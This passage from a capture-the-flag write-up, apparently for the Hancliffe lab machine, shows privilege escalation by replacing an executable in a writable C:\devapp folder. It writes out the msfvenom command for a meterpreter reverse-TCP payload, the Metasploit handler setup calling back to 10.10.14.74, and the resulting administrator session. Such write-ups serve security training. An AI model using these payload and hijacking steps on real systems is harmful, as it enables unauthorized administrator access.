25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
*Evil-WinRM* PS C:\ > get-acl C:\devapp | select -expandproperty access
FileSystemRights : FullControl
AccessControlType : Deny
IdentityReference : HANCLIFFE\svc_account
IsInherited : False
InheritanceFlags : ContainerInherit, ObjectInherit
PropagationFlags : None
FileSystemRights : FullControl
AccessControlType : Deny
IdentityReference : HANCLIFFE\clara
IsInherited : False
InheritanceFlags : ContainerInherit, ObjectInherit
PropagationFlags : None
FileSystemRights : FullControl
AccessControlType : Allow
IdentityReference : BUILTIN\Administrators
IsInherited : True
InheritanceFlags : ContainerInherit, ObjectInherit
PropagationFlags : None
FileSystemRights : FullControl
AccessControlType : Allow
IdentityReference : NT AUTHORITY\SYSTEM
IsInherited : True
InheritanceFlags : ContainerInherit, ObjectInherit
PropagationFlags : None
FileSystemRights : ReadAndExecute, Synchronize
AccessControlType : Allow
IdentityReference : BUILTIN\Users
IsInherited : True
InheritanceFlags : ContainerInherit, ObjectInherit
PropagationFlags : None
FileSystemRights : Modify, Synchronize
AccessControlType : Allow
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited : True
InheritanceFlags : None
PropagationFlags : None
FileSystemRights : -536805376
AccessControlType : Allow
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited : True
InheritanceFlags : ContainerInherit, ObjectInherit
PropagationFlags : InheritOnly
First you had to move the current directory out of the way, create a new one and copy the script there.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\ > mv \devapp \old
*Evil-WinRM* PS C:\ > mkdir \devapp
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/10/2021 1:53 PM devapp
*Evil-WinRM* PS C:\ > cp \old\restart.ps1 \devapp
*Evil-WinRM* PS C:\ > cd \devapp
Next you started up a handler inside metasploit and generated a meterpreter executable.
1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.74
lhost => 10.10.14.74
msf6 exploit(multi/handler) > set lport 7474
lport => 7474
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.74:7474
1
2
3
4
5
6
7
$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.74 LPORT=7474 -f exe -o m.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 200262 bytes
Final size of exe file: 206848 bytes
Saved as: m.exe
You placed the meterpreter as MyFirstApp.exe
inside the new C:\DevApp
folder. After some time the the script restarts the exe sending a meterpreter session as administrator.
1
2
3
4
5
6
7
*Evil-WinRM* PS C:\devapp> upload m.exe MyFirstApp.exe
Info: Uploading m.exe to C:\devapp\MyFirstApp.exe
Data: 275796 bytes of 275796 bytes copied
Info: Upload successful!
1
msf6 exploit(multi/handler) > [*] Meterpreter session 1 opened (10.10.14.74:7474 -> 10.129.95.247:49919) at 2021-10-10 20:57:59 +0000
Now you could simply grab the root flag on the administratorโs desktop.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > execute -f powershell.exe -i -H
Process 2056 created.
Channel 2 created.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> cat C:/users/administrator/desktop/root.txt | measure -c
cat C:/users/administrator/desktop/root.txt | measure -c
Lines Words Characters Property
----- ----- ---------- --------
32